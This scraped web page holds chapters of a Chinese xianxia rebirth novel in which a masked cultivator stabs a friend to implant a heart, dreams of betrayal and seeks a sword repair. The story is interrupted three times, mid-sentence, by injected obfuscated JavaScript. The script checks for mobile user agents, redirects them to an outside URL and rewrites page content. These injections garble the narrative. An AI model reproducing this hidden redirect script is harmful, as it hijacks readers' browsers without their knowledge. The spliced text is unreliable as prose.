单方面付出的东西,时栎也没想到自己能留下。 “你杀不了我,”他若无其事收着剑说,“放着也没用,先借你防身,别这两天在外面丢人。你的呢?给我。” 时澈盯着他看了一刻,收起玉牌,“我没有。” “用出去了?” 时澈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664649|172939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说话。 时栎咬牙,“这种东西怎么能给别人?真是蠢货,怪不得你变成这样。” 骂得太难听了,时澈心里不舒服,但是刚收了好处,又不能发作。 他只能开口:“你这样让我很尴尬。” 时栎瞪了他一眼,换话题跟他聊,“她是不是贺千秋的人?” “管她是不是,马上门派招新,该你忙的不会少忙,快回去吧。” “到底是不是?” 时澈摇摇头,故作神秘,“天机不可泄露。” “我真该杀了你们。” “那你就要过上凄惨又未知的老年生活了。”时澈又捡了点树枝,丢进火里,“想利用我,就先乖乖拉拢我,现在听我的,回去忙,两天后我会如期奔向你。” 回应他的是一声冷哼。 再一转身,时栎人不见了。 薛准回来时,时澈已经添了三次柴,看到她手上山鸡野兔,总算没有失望。 两人坐在一起,边扒皮边闲聊,时澈道:“多亏傀冥宗不拿动物炼制尸傀,不然今夜我们都得吃死尸肉。” “死尸肉也比没得吃好,”薛准架火烤肉,“澈兄,我看你也是从下面那些村子走出来的,见过吗?” 时澈点头,盯着火上炙烤的肉,沉声道:“恶鬼当道,豺狼冠缨。你到主城来,有没有发现什么不同?” “那可太有了!”薛准一拍大腿,“我虽然不懂你说的什么狼什么缨,但是村子里那群禽兽不如的家伙,他们的本家在主城,都是大家族,大善人,装得人模狗样的,不知道的还以为里面那颗心跟衣服一样干净!” 时澈撕下一只鸡腿,“这就叫豺狼冠缨。” 星界以七星分隔出七大宗,每宗下设主城,再下是各个村落。 各种小宗门就交错分布在主城或村落里。 时栎活了五百岁,前三百年都没下去过村落,连他少年最落魄的时候,也是在主城摸爬。 主城代表着本界大宗的脸面,无论何时都透露着一股繁荣气象,神兽腾飞,仙灵遍布,放眼望去,巍峨,广阔,金碧辉煌。 那气势太盛,人活得太好,仙气缭绕的城区一眼望不到边际,仿佛全天下就都是这个样子。 “资源有限,人却不少,维持一个主城的体面已经很不容易了,上面不需要那么多人活着。” 时澈丢掉骨头,在一旁山溪里洗了手,坐回来不吃了。 薛准已经垂下眼,黑发垂落遮挡住脸,让人看不清面上情绪,握剑的手却嘎吱作响,仿佛下一刻就要捏坏那脆弱的剑鞘。 时澈把肉推到她面前,“吃,吃完我们直接去天枢,先找个地方住下。” 薛准怪异地看了他一眼,“我们又没有通行证,过不了传送门,我算过了,吃完这顿就得走,日夜兼程才能勉强赶到玄清山,哪还有时间找地方住?” “况且在天枢主城住宿,那得花多少星石?有那钱留着吃饭不好么?” 时澈沉吟,“你说得对。” 他的钱袋已经在雷劫中被劈空了。 每粒星石都是独一无二的,同一个世界,他和时栎,不能拥有同一颗星石,所以他的钱消失了。 时栎是原住民,而他是外来者,不论是气运还是星石,这种天地自然的产物,属于时栎的,他都不能据为己有。 除非…… 时栎回到玄清门,正重新整理剑招,忽而笔尖一顿。 他点开自己的通灵箓,原本只有一人的列表赫然多了一道亮光。 【时澈】:这么好用?我都不用跟你交换通灵箓。 时栎没理他。 【时澈】:看看钱袋,你星石多了没?我的钱都流到你兜里了。 时栎不看,回道:数不清。 【时澈】:哇。 【时澈】:你好有钱。 时栎继续誊抄剑招,顺便把自认为不合理的地方拿朱砂笔圈起来,准备稍后和师尊讨论。 【时澈】:你好有钱。 时栎把屋子里满地废稿狼藉收拾好,拿起华景,启步去问天岛练剑。 见时澈这么久没动静,问:怎么不说我好有钱了? 时澈不理他。 他转了一万星石过去,时澈还不理他。 他又把那一万星石收了回来。 【时澈】:? 【时澈】:我是什么很没原则的人吗,才一万我就要觍着脸奉承你? 时栎转了十万星石过去。 【时澈】:你好有钱。 7. 寻香楼 天玑界传送处。 一棵参天巨树立在中央,淡金色微光流转其上,树身是一道巨型传送门,其内光华万千,横浮着七星的纹样。 时澈立在传送树前,熟练地拨弄星纹,指尖触上尾端那颗星,朝身后人道:“你再不说话,我该误会你吃兔子吃傻了。” “你、我、你……”薛准憋了半晌,看他手里那道明晃晃的通行证,想到他刚才的话,深吸一口气,“少君是你表哥?!” “对啊,”传送门开,时栎先踏进去,“洞里我都叫哥哥了,你又不是没听见。” “那你见到他跑什么?”薛准在传送门口左右看了看,试探着踏进那处灵光。 “远房亲戚,不熟。” “所以你原本不准备相认,你要靠自己的实力进玄清门,而不是走后门?” 时澈顿了顿,面色如常回道:“嗯。” 薛准突然心生愧疚,“难道是我叫你名字让你暴露了?这才不得已收了你表哥这么多好处,这跟走后门有什么区别!” “没事,”时澈平静回道,“表哥那么风光,而我这么落魄,他难免想要拿钱羞辱我,这都是我该受着的。” “……少君也是关心你,冒昧问一下,澈兄,他羞辱了你多少钱?” 时澈打开钱袋,给她看了一眼,钱袋虽小,内里容量却无垠,满满一袋幽蓝星石散发出强力的光,薛准直接瞪大了眼。 “少君……他……对一个初次见面的远房表亲都这么大方?” “嗯,他很有钱。” 踏出传送门,已是另一番景象。 晚风清凉,站在山顶向远处看,玄清山上乱雪峰高耸入星云,神兽金鳌盘旋其间,酣然入睡。 山下天枢主城区建筑错落,彩灯高照,这个时辰依然人声鼎沸。 薛准第一次到天枢,惊奇地跳上一棵树向下看,却不小心惊到栖息的仙鸟,一人一鸟缠斗在一起,仙鸟宽大的翅尾扇了她一脸灵气。 时澈盯着崖下景象,天枢主城万里繁华,灯火的光照在面具上,映进那双沉寂的蓝眸中。 天上皎洁的月,地上异彩的灯,很难让人联想到几百年后遮天蔽日的黑。 鲜血累累,白骨森森,龙首坠于星云之下受万鬼蚕食,高楼倾倒碾压,最繁荣的不夜之城一夕之间粉身碎骨,天地无光。 不久前在山洞里挖出的东西被时澈收进了乾坤袋,紧贴着识海跳动,带来一阵黏腻温热。 他打开通灵箓,跟时栎说:到天枢了。 时栎没回,应该在忙。 时澈盯着干干净净的通灵箓,恍惚觉得自己忙了一辈子。 好不容易想通了,要歇了,又让他回来了。 时栎一见到他,就已经知道,自己一定是在未来的哪一步行差踏错,才会落得这种境地。 因此时栎不光会留下他,还要把他带在身边,利用他重新调整自己的路。 时澈甚至不用表态,他没理由拒绝。 这种事,两人心照不宣。 想想就累,时澈一想到自己未来当牛做马还要隐姓埋名的日子就想挥剑自杀。 玄清门是他的,凭什么他要等两天后扮作新弟子才能回去? 他现在就该回去,找师尊重塑道心,然后屠尽问天岛,杀了玄清门所有人,挖出他们的脑花给师尊补身体,从此天下只有无情剑道,他和师尊从头开始。 可他要怎么从头开始? 现在师尊是时栎的,华景是时栎的,问天岛是时栎的,玄清门很快也是时栎的。 时栎的存在就像土豆里的姜,可恨又多余,他是土豆,时栎就是姜,难吃的、辛辣的、混沌的、善于伪装的…… 时栎看到他的消息了,回:嗯,还有什么需要? 【时澈】:呵呵。 时栎:? 【时澈】:没事,刚才想到姜了,有点恶心。沈横春在哪个楼? 时栎:姜确实恶心。找沈横春?你猜。 【时澈】:寻香楼。我现在要去狠狠揍他一顿。 那边沉默良久,在时澈以为他不会回应时,说:揍吧。 【时澈】:不问为什么? 时栎:你会告诉我? 时澈不理他了。 进了主城,他指了个客栈,让薛准先去。 薛准问:“这么晚了,你还要去哪儿?” “寻花问柳。”他面不改色。 薛准大惊,“你看起来不像那种人,是不是最近压力大,那可以选择更健康的方式舒缓,不如我们先拔剑大战三百回合?” “不,”银面具反射出一阵寒光,他毫不留恋地转身,“我就是那种人。” 寻香楼前欢语不绝,还未走近,便闻到一阵奇香。 “呦,哪里来的小郎君,怎么还遮着脸呀?” 美人身姿袅袅,余光瞥见了,腰一软就往他怀里栽,他侧身避了一下,拂开打到脸上的纱绢,说:“找人。” 美人脾气好,险些摔了也不恼,双目一垂一抬,便将他上下打量了透顶。 旋即笑容更明媚,将他往楼中引,“郎君里面请~” 天枢主城背靠玄清门,每日往来最多的就是各路剑修,剑修不看衣装,腰间那把剑足以彰显身份。 剑器最销金,一身破烂配一把好剑在这座城里最常见。 剑修花钱快,赚钱更快,攒起星石来不要命,更别说适逢玄清门招新,这些人中若有谁日后套上那身银袍,那就是贵中贵客,更不可轻待。 而时澈身上这把剑,足够他在主城快活一整月。 美人在前方引着路,回身想问问他来找谁,没想到一转眼人就没了。 她还当半路被截了胡,不由四面环顾,哼了一声,又回到门前。 时澈上了二楼,直朝最里侧的雅间而去。 寻常的雕花木门,内里却别有洞天。 洒满花瓣的温热池泉占了大半间房,石堤环绕,白袅袅的湿雾升腾其间。 花魁娘子尹寻香舒展身躯,惬意地合着双眸,泡在池中享受。 灵光充盈着整间房,而她的眼尾处,一道艳粉的合欢花痕正灿灿而绽。 耳边传来鞋踩堤岸的声音,尹寻香刚要睁眼,下一瞬,却被人从水里提了出来。 她惊呼一声,只得慌忙扯过一旁轻衫遮挡,看清来人时不由羞恼,指尖重重点了他的胸口,“小教主这是做什么,自己修炼好便能不顾别人了?” 那人被责备了也不恼,只垂着一双含情桃花眼,温柔抓住她的手。 刚穿好的衣衫因着拉了她入怀而被打湿,他替尹寻香拢好薄衫,将人打横抱起放到榻上,轻勾起笑,“尹姐姐这么羞作甚,我二人交颈合欢,你身上哪处我没见过?” 尹寻香视线在他脸上流连一阵,饶是再见多识广,对上这样一副面皮,也还是禁不住脸颊发热。 她自行运转丹田灵气,映得眼尾花痕更亮,双臂顺势攀上他的肩,轻笑道:“小教主多找我几趟,我怕是未来半年都消化不完,寻不得他人了。” “哦?”沈横春抓下她的手,握在掌心把玩,视线却已放到门上,“所以外面那位,不是来找你的?” 尹寻香一怔,跟着看向门口。 时澈屏气立在门外,还没给自己做好建设。 单是门缝处透来的、热气蒸腾而出的浓郁花香,就已经让他由内及外感到不适了。 合欢教在沈横春手上,还真是几百年如一日地淫行其道,色字当头。 他上辈子最后悔的,就是对这发小、这唯一的好朋友听之任之胡乱放纵,让他的眼里只有美色,脑子里只想谈情,为了某日某位一生一次的心动,不惜把自己的命送出去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664650|172939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 合欢教以情立世,以爱养灵,让沈横春断情根,无异于废了他,况且要是真这么做,时澈也对不起死去的先教主夫妇。 但既然重来一遭,时澈总要想个法子,让他别再被色字头上那把刀砍了脑袋。 其实最好的方法是避免两人相遇,恰好这个时期的沈横春还没见过那位一生一次的心动对象,更没有迷恋他到无法自拔,爱他到痛彻心扉。 但时澈没把握。 他不能把沈横春锁起来锁到一切结束,就怕天命轮回有数,该碰见的,总会碰见。 他对沈横春有愧,是他负了先教主所托,没保护好他们唯一的骨血,自己唯一的好友。 因此在雕花木门从内打开、那张脸出现在他面前的一刹那,寒芒乍闪,断剑出鞘,狠狠贯穿了沈横春那沾水半湿的胸腔。 屋内尹寻香只见教主怔在门口不动,将屋外那人完全挡住,却不想下一秒灵光一闪,两人竟一同消失在了原地。 她只当是来寻沈横春的,在榻上翻了个身继续闭目,没下去查看,也就没注意到两人消失的地上,那几滴鲜红的血液。 主城郊外一处隐秘的山洞,绿衫男子胸口插剑,被重重丢到地上,背部磕上石头,猛呕了一大口血。 他捂着胸口坐起,看向身前戴银面具的人,那双惯常温柔的桃花眼都染上怒意,不解道:“阁下何人?我从没跟剑修谈过情,你可别说与我有什么情感纠葛。” 那人居高临下立着,不理他,略一抬手,断剑便从他胸口抽出,不等他皱眉呼痛,又再次深深扎入,直逼得他脸色一阵惨白,连聚灵反抗的力气都没了。 “你……”血腥味在嘴里弥漫,沈横春感觉自己心脏都要被这两剑绞碎了,疼得他不想再顾什么礼数形象,只想破口大骂问候这人八辈祖宗。 “疼么?” 那人开口了,声音冷沉沉的,沈横春却一怔。 “……时栎?” 断剑复又抽出扎了第三下,沈横春直接一口血喷出来躺到地上,他盯着这人脸上面具,快死了也坚持从嗓子眼里挤出来,“我去你的……这不可能是时栎……”随后彻底晕厥。 时澈蹲下身,他刚开了乾坤袋,此刻手上已然多了一颗黏热跳动的心脏。 他这三剑伤了沈横春的心脉,扎得不轻,只吊了一口气,好在合欢心法最擅滋补修复,沈横春又刚从修炼搭子房里出来,现在是命最硬的时候。 时澈一手托着从乾坤袋里拿出的心脏,一手握住剑柄,断剑从他胸口抽出的瞬间,猛然将蕴了灵的心脏拍入伤口。 合欢心法急着修复破损的心脉,一碰到同源物质,便迫不及待吸收进去,与原本的心脏融为了一体。 白衫和银面上都溅了血,时澈收剑入鞘,静静等在原地,见沈横春修复得已无大碍,捞起他,送回了寻香楼。 两颗心,再给造没了,就是他活该。 时澈到客栈时已然快天亮了,他直接回到提前定好的房间,将断剑往桌上一拍,叫了热水来沐浴。 他依然用不出灵,刚才扎沈横春那几下用了时栎给的借命玉牌。 真烦,他想,他借灵的时候时栎能感受到。 他自己没灵了,需要借别人的,而且那个人还能实时感知到他在借灵,这一认知让他陷入了极度的不爽。 至于时栎到底算不算“别人”这个问题,他现在没力气深想。 时栎把玉牌丢给他的时候,他大可不屑一顾打回去,但事实是,现在的他,的确需要这点灵。 他在努力开导自己,这么一开导,更烦了。 身躯浸入热水,他闭眼,强迫自己不去想那些不愉快的,鼻间却萦绕上挥散不去的血腥气,越来越浓,仿佛充斥了整间房。 他缓缓睁眼,望向桌上断剑,它隐在鞘中,带着未干的血。 又忘擦了。 8. 问天岛 玄清门,问天岛。 月上中天,剑影交错,乱雪峰的雪吹了过来,带着逼人的凉意。 时栎手执华景,目光平静,环视过周遭弟子,他们脸上或愤慨,或怨毒,面容森冷,虎视眈眈。 他们握剑向前,不动,只等着那句最后指令,“一起上。” 数十把长剑的迅猛攻招中,时栎手持银芒破围而出,渐次挑落身侧五人的剑,一人趁机朝他后腰袭来,却在快刺到时转了方位击向小腿,错过最佳时机,直接被他一脚踢断手腕落了剑。 时栎只在转身时瞥了他一眼,没喊停,那人迅速起身,换左手持剑再度击来。 乱雪彻底吹了过来,斗剑场中一片寒凉,战斗却没停歇的趋势。 直到华景沾血,给每人脖子上都添了痕,时栎才收剑入鞘,叫了停。 “放在真正的对决中,问天岛现在已经死绝了,所有人回去自己总结,明日找师尊汇报。” 他目光凉凉,扫视过面前几人,“门派招新在即,多得是天资高的新人,每个人都有被比下去的风险,有不想待、不敢待的,不用上报,自己走人。” 众人相视,默然不语,纷纷提剑回了住处。 只一人,垂着右手,立在原处,“师兄。” “钟灵,你那一剑要刺下去,我的力就卸了,今晚你们全胜。”时栎抓起他的断手,掌心聚灵,接回了原貌,“下次别有顾虑,不然我赶你下岛。” 钟灵只看着他,“刚练了新剑招,又来岛上,师兄多久没歇了?” 时栎笑了笑,“我才问过师尊这个问题,她说没多久,明日就歇。她歇了我再歇。” 钟灵点点头,又说:“每次见师兄总在奔波,好像从来不累。” “我要是敢累,早被你们击败一百次了,”时栎转身,“回去吧,你明日多加一份检讨给师尊。” “写什么?” “写你对师长无处安放的关怀之心,”时栎走远了,遥遥道,“让她早点歇,睡醒再研究新剑招,不然师兄就先死了。” 钟灵失笑,朝他背影道:“我一定写!师兄!” 时栎远远朝他摆了摆手。 钟灵提剑回去,低头看手腕上未散的灵光。 岛上的人都不敢跟时栎说话,只觉得他凶,又不近人情。 他觉得师兄还挺爱跟人聊天的,只是他们岛上这些人向来互相看不上,关系剑拔弩张,本身私下就没什么交流,更别说找师兄说话了。 也就他胆子大,能聊上几句,还让师兄记住了他的名字。 乱雪峰顶,山门前一片空旷,金鳌酣睡,圆月高悬。 时栎刚站上去,就朝旁边人怀里一钻,也不等他抱,自己先黏了个彻底。 “打完更亢奋了,睡也睡不着,我要不要再去看看师尊?” 久未有回应,他也抱着不动,在那人怀里靠了会儿,感觉腰被搂住了。 接着侧颈微痒,有发丝垂落搔了上去,那人微微侧头,在他颈间轻嗅,似乎想寻些灵光。 时栎给了他些灵光,松开来看他。 幻妖知道他累,双目稍微有了神,跟他额头相抵,然后微微偏头,视线落到他的唇上。 微凉的风雪中忽而交缠上两丝温热的气息,双唇柔软,也热,贴蹭在一起,两人却都不懂张嘴。 时栎向后撤开,望向他的眼,轻声笑道:“自己都还不会,就来亲我?”又摸了摸他的发顶,复又将人揽进怀里,全身心地依赖上去,“你别动,让我抱抱。” 下方忽而传来一声喊,“师兄?你在干什么?” 时栎顿住,只见不久前离开的钟灵正单手执剑,立在下方仰头看他,钟灵的身后,一众问天岛弟子也都静静立着,仰头不语。 不等他将幻妖收起,忽觉腰间一轻,幻妖一手抱着他,一手拔下华景重重扎进了他的腰,接着一掌将他从峰顶拍落,落地前,他只见到状似玉盘的孤月前,那道逆风雪看来的冷然蓝眸。 接着便是零星的剑光从眼前闪过,数十把长剑扎进身躯,他失了力,被重重掼到地上,钟灵立在他身前,双手握剑柄高高扬起,血液从胸腔喷射而出的瞬间,他耳边听到一句沉声的,“问天岛,全胜。” 断剑嗡鸣落了地,冷铁剑鞘砸出沉重的响,时澈猛然睁眼起身,背后已浸满冷汗,激得雷痕一阵痛痒。 靠在床头向外看,天还没大亮,他只闭了半个时辰的眼。 剑他不久前擦了,没擦干净,剑身仍留着血迹。 它似乎忍受到极限了,被时澈捡起后,难耐地在他手上乱震。 他只得又借了玉牌,引出一股灵光将断剑包裹,安抚其中烦躁的剑灵。 快废了的剑,挤着两只高阶剑灵,别说它们,时澈自己都感觉憋屈,他现在也就那把剑鞘能充充面子。 “再等等,后天去濯剑池,给你们洗干净。” 一团银光从剑身钻出来,烦躁地把灵气全扑回他脸上,又嗖一下钻回去,全身心拒绝他。 灵被打乱,散在四周,时澈皱眉,敲了敲剑身,“华景,别闹脾气。” 华景剑灵却再不愿出来,断剑嗡鸣着表示不满,直到破荒剑灵探出头,把空中四散的灵吸收干净,剑才安静下来。 时澈又觉得烦。 华景是他最风光时的宝器,剑灵早被养得骄横,眼比天高,比他还接受不了如今的窘境。 破荒还完整时,它尚能屈尊跟人家同挤一把剑。 现在破荒也断了,无异于让这把举世无双的名器跟其他剑灵挤着茅草屋睡破床,华景估计连自断的心都有了。 时澈收断剑入鞘,出门跃上屋檐,将远处玄清山顶的磅礴气象尽收眼底。 他知道很多事不尽如人意,华景在他手上已经受了很多委屈。 可那又如何。 名动天下的宝器是盛世的天华景,末日的破烂铜,现在也不过是团回光返照的落魄灵。 主人都还没解脱,哪轮得到它? - 天微微亮,乱雪峰顶一角,时栎抱剑靠在幻妖身上还在睡,忽觉面上一阵痒意,好像被什么东西轻轻拂过。 那痒是间断性的,绒绒的,软软的,扑扇着朝他脸上来。 他皱眉,伸手去抓,却把一只温热的手抓进掌心,那痒意还在。 他睁眼,幻妖被他握了手,不能去打,只能微微倾身,把他护在怀里,拿身体抵挡天上龙尾巴的袭击。 时栎抱住他,华景出鞘,在那条睡着了还乱甩的尾巴上狠狠刮了一下,带下它一撮毛来。 金鳌还在酣睡无所觉,尾巴却灰溜溜地自行收走了。 时栎捏着幻妖的手抱怨:“它一只龙龟,尾巴这么毛绒,只会扰人睡觉,今晚就把它剃秃。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664651|172939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 幻妖以为他还在痒,半趴在他身上,伸手戳了戳他的脸,在侧颊戳出一个小小的凹陷。 时栎觉得有趣,看着这张近在咫尺的脸,也戳了戳他。 两人互相戳了一会儿,时栎看看天,说:“太阳都升高了,一会儿要晒,你要不要先回去?我去喊他们起来练剑。” 幻妖只觉得又该变成萝卜,一整天见不到时栎,下意识心生抗拒。 时栎却已经不会再给他灵光了,他迟早要自己慢慢变回去。 得想个法子,让时栎多陪他一会儿。 以前的幻妖不会有这种意识,可自从他吻过秘境里的时栎,柔情的,热烈的,怀抱里带着要把他吃进身体的力度,他才发现时栎原来这么爱他。 不再只是因为长大变厉害、能自己斩杀所有妖鬼了,就把他单独分割出来。 他这丝神魂是属于时栎的,时栎也是属于他的。 于是他在时栎起身要离开之际抓住他的手,把他用力拽到了自己身上。 接着在时栎陡然睁大的双眼中,扣着他的后脑吻了上去。 “你……唔……” 时栎没见过这样的幻妖,他们昨夜才轻轻碰了唇,今早就给他这么凶的吻。 他微微避开,幻妖又把他按了下去,像是模仿什么人一般,生涩地撬开了他的唇。 唇舌纠缠不得章法,带着几分雾蒙蒙的湿意,时栎想离开,又被抱紧,只觉得脑子都要被亲懵了,马上要陷在这个沐浴着阳光的、突如其来的吻里。 衣带松了,幻妖的手不规矩,想来扯他的外袍。 他心头倏地窜上一股火气。 他的这丝神魂并没有无师自通的本领,私自学会亲吻已经是他的忍耐极限,现在竟然还想进行更亲密的接触。 谁教的他? 又是……怎么教的他? 他想起那张被银面遮住的脸,笑得轻佻,话也轻佻。 不言而喻。 时栎尽量不去想这个可以与他相抗衡的、神魂比重一样大的外来者,毫无疑问他也是残缺的,他想要自己的幻妖,想要这丝被分割出去的、只属于自己的神魂。 他眼神微暗,擒住幻妖的下颌,强行让他离开自己的唇,说:“我想把你收回来。” 藏起来,藏进自己体内,把神魂补充完整永远不露于人前。 这样他们就不能拥抱,不能亲吻,可至少这丝神魂是完全属于自己的,不用承担任何要失去他、与人共享他的风险。 幻妖却看着他,摇了摇头。 “我不想让他看见你。”时栎指腹轻轻摩挲他的唇,刚吻完,还湿着,幻妖下意识要张嘴含住他,就好像有什么人教他这么做过。 时栎神色更暗,直接按住了他的唇,“你怕他来了找不到你?” 时栎生气了,幻妖想哄哄他,又不知道怎么把秘境里那个颤抖的、带着恐惧的拥抱传递给他。 他想让时栎知道,他不能消失,那个时栎也需要他。 时栎自己心里的火还没压下去,幻妖倒先急了呼吸,紧紧抱住他,似乎被他的话吓得不轻,生怕被收回去。 他用了很大力气才推开幻妖,本来都摆好了一副不近人情的冷脸,却在见到那双微红的、带着委屈的蓝眸时尽数破了功。 “……算了。” 多新鲜,出去一趟,哭都学会了。 9. 煅器阁 闹市尽处,煅器阁。 高楼巍峨,门庭若市,来自七界各地的修者往来不绝。 向内走,冷铁打造的兵器模型屹立在四周,刀剑矛锤斧钺戟应有尽有,供人挑选购买。 煅器阁主营兵器锻造买卖,偶尔间杂着些精巧绝伦的小玩意,作寻常玩乐用。 这些兵器,或是煅器阁自己锻造,或是其他修者寄售,由阁员统一售卖。 时澈穿过讨价还价的买卖双方,径直上楼,楼高共五层,下三层是成品买卖区,上两层是私人订制区。 煅器阁与玄铁山上的器魂有合作,整理好客人需求后会全程对接,客人付完定金,只需要等着就行。 上了四楼,他扫视过一众煅器师,走向角落一个闭眼假寐的少年男子。 这少年不过十三四岁的年纪,黑皮剑眉,全身挂满铁饰包裹,一头黑卷发随意抓成一个丸子顶在脑袋上。 他是整座楼里年纪最小的煅器师,能力与其他资深煅器师不相上下,却要价奇高,因此轻易不会有人找他定制。 其他煅器师面前已排起了队,他却清闲,坐下先睡了个回笼觉。 时澈把剑放到他面前的桌上,说:“修剑。” “两万起步,上不封顶,”少年打了个哈欠,慢悠悠边睁眼边伸手去摸桌上的剑。 星界资源充裕,山野自然、幽谷秘境,处处能得到煅器的材料。 寻常兵器要从头定制也不过几千,还是算上煅器师的设计费和辛苦费,上万的已经是用了极好的耗材。 如今不过是修剑,他开口便要两万,也怪不得他整日清闲,坐下就睡觉了。 时澈只平静看着他摸剑,问:“这把,两万够吗?” 少年不语,黑眸轻垂,细细抚过鞘身每一寸,手握上剑柄,正欲抽剑出鞘,又忽而一松,对时澈说:“你来。” 时澈将断剑抽出来,与黑鞘并排,摆在他面前。 少年呵了一声,看那可怜的半截剑身,“断成匕首了。” 接着身体向后往椅背上一靠,抬眸看向时澈,嘴角挂上一丝讽笑,“能修,我给你改成匕首,更锋更利,剑鞘也给你熔了做成短鞘,配你这把本命匕首,如何?” 这话听在剑修耳中无异于是挑衅,一旁已经有人望了过来,惊讶这楼里的煅器师怎么敢这么跟客人说话。 时澈却不恼,只笑了笑说:“我不会用匕首,更爱用剑。” 少年从腰侧袋子中拿出只细长笔锥,仍靠着椅背,在断剑裂口处随意划了几下,嘴角讥讽更深。 “剑会说话,上面的剑气也会说话,这分明是别人的本命剑。” 他望向时澈,黑眸幽幽,刻意压低了嗓音。 “你杀了剑主夺剑,强行扭转进自己命格,又用它作恶无数遭了报应……在天灾劫难中断了剑,对吗?” 时澈勾起唇,身体前倾跟他对视,银面上的鬼纹迫近,低声道:“你在这儿揭我老底,不怕我把你也杀了?” “你既然找我,就知道我不怕。” 少年一副浑然无所谓的模样,把笔锥收起,“这剑上血气熏得我头昏,我从不与你这种人做交易,门在那儿,请便吧。” “我这种人?”时澈缓缓收剑入鞘,“凭一把残剑,便断定人的好坏,也不怪人家说星天阁都是群耳聋眼瞎之辈,再好的人才进去,出来也只懂数钱作秀了。” “你!”少年猛然拍桌起身,见四周客人望来,又强忍住脾气,狠狠剜了时澈一眼,“敢不敢跟我出去?” 煅器阁外一角,少年戴上一只黑皮手套,捏起断剑怼到时澈面前。 “且不说这切口处明显的雷劈痕迹,你这把剑里锢着两只灵,你告诉我,什么人能凝出两只本命剑灵?一只你的,另一只呢?原剑主的!只有剑主死了,他的本命剑才能为人所夺。” “再说这上面熏人的怨气,我曾修复过一把朔朝刽子手的大刀,他每月砍人上百,刀下皆是穷凶极恶之辈,那血气再浓也带不出多少怨气,为什么?因为他们是犯人,他们罪有应得!你这把呢?你到底拿它害过多少无辜性命,才留下这些消不去的血怨!” 少年手一甩,将断剑一把扔到了地上,顺势摘下自己摸剑的手套,丢到脚下。 他似乎一点也不怕惹恼眼前这恶人,只气他诋毁星天阁之余还要带上自己。 “星天阁那群人是又聋又瞎不错,那与我何干?我赵昆游练得从来是真本事!我一没收你钱,二没惧怕奉承你,恶人恶剑,也不知哪位神君给的雷,劈得好!这样了还想装善人,我是凭一把剑判人好坏吗?我是替你剑下无数枉死的人不平!” 他越讲越急,见这人只默然立着,也不拾剑,不由冷嗤一声,转身欲离开,却突然被人抓住了顶上的丸子头。 同时上方传来一道气喘吁吁的声音,“……可算找着你了澈兄,远远看见这小孩儿在你跟前跳,你干啥呢,欺负人家了?” 说着,她又捏捏,惊奇地垂眸看去,“还挺好捏,小孩儿,你怎么梳的?” “你……”赵昆游见他还有同伙,张嘴又要开骂,却在瞥见这人腰间佩剑时一顿。 灰鞘素柄,剑柄因为常年使用而被磨得光滑,剑是最普通的款式,甚至煅剑的材料也称不上有多好,只是这剑气…… 他下意识要上手去摸,时澈在身后捡起自己的剑,淡声开口,“薛准,别让他碰你的剑。” 薛准闻言把剑一拽,背到身后,另一手还捏着他的丸子头,“得嘞,澈兄,怎么了,这小孩偷你剑?” “我呸!”赵昆游把自己丸子从她手里拽出来,后撤一步道,“谁稀罕他那把脏剑,倒是你……” 他瞥向薛准身后那把剑,眸光顿时清澈了大半,问:“姐姐,你的剑这么好,怎么会跟这种人认识?” 时澈走近,剑鞘敲了敲他顶上的丸子,“你告诉我怎么修剑,她就回答你的问题。” 赵昆游扯唇冷笑,“你这把剑废了,修不了,改成匕首我倒能勉强接你的单。” “那怎么行!”见他这么没礼貌,薛准先不满,“澈兄是剑修,这把剑也就是断了,不能找材料补补吗?” 赵昆游瞅了她一眼,“单纯补剑,他自己就能补,他这是想把剑修复成跟原来一样,那根本不可能。” “怎么不可能?”薛准忽然俯下身,语重心长地劝这小孩,“你再努力想想,你不知道他多有钱,干完这单,你以后就能天天睡大觉了。” 她一俯身,赵昆游离她背上那把剑更近了。 他眼睛微眯,眸中闪过一丝精光,转向时澈,“行吧,既然你们是一起的,我就让你明白明白。” 他又戴上只黑手套,抽出时澈的断剑,接着自然地朝薛准伸手,“姐姐,借你的剑一用。” 薛准看向时澈,用眼神询问他给不给。 时澈点头。 赵昆游一手一只,送到两人面前,问:“这两把剑,有什么不同?” 薛准摇头,“不同的地方太多了,你不如问我们这两把剑有什么相同,就,都是剑呗。” “不是,”赵昆游见她真不懂,皱眉道,“最大的不同就是,你们一把寻常兵器,另一把是本命剑。” 时澈一愣,看向薛准,“你还没有本命剑?” 薛准比他还震惊,“你连本命剑都有了?” 时澈垂眸思索。 有没有本命剑,是一个剑修能否初入“人剑合一”境界的体现。 薛准上辈子能被贺千秋收入门下,学剑的天资毋庸置疑。 他以前从未探究过薛准的年龄,现在看来,还没凝出本命剑,只有一种可能。 她年纪不会太大,起码比现在的时栎小。 